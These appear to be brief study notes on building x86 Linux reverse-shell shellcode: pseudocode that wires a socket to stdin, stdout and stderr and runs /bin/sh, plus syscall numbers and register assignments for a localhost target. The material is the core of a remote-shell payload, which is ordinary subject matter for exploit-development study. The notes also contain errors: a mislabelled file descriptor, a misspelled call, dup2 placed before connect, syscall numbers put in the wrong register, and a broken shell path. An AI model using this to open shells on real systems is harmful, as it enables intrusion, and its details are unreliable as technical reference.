

Shell coding



Reverse Shell (Shellcode)

```
1) sockfd = socket(PF_INET, SOCK_STREAM, 0);  
2) dup2(sockfd, 2); // stdin  
3) dup2(sockfd, 1); // stdout  
4) dup2(sockfd, 0); // stdin  
5) connect(sockfd, &sin, sizeof(sin));  
6) exece("/bin/sh", NULL, NULL);
```

Annotations:

- `PF_INET` is `0x2`
- `SOCK_STREAM` is `0x1`
- `2` is `stdin`
- `1` is `stdout`
- `0` is `stdin`
- `sizeof(sin)` is `0x10`
- `struct sockaddr_in` is `[AF_INET, 8080, 127.0.0.1]`
(2b) (2b) (4b)

arguments in registers

in `$0x80`

Socket

↳ `%eax = 0x167`
↳ `%ebx = 2` (PF_INET)
↳ `%ecx = 1` (SOCK_STREAM)
↳ `%edx = 0` (0)

connect

↳ `%eax = 0x16a`
↳ `%ebx = sockfd`
↳ `%ecx = 8` [AF_INET, 8080, 127.0.0.1]
↳ `%edx = 0x10`

dup2

↳ $\%ebx = 0x3f$
↳ $\%ebx = std$
↳ $\%ecx = \begin{cases} 0 & \text{stdin} \\ 1 & \text{stdout} \\ 2 & \text{stderr} \end{cases}$

execve

↳ $\%ebx = 0xb$
↳ $\%ebx = \text{"bin/sh"}$
↳ $\%ecx = \text{NULL (argv)}$
↳ $\%edx = \text{NULL (envp)}$

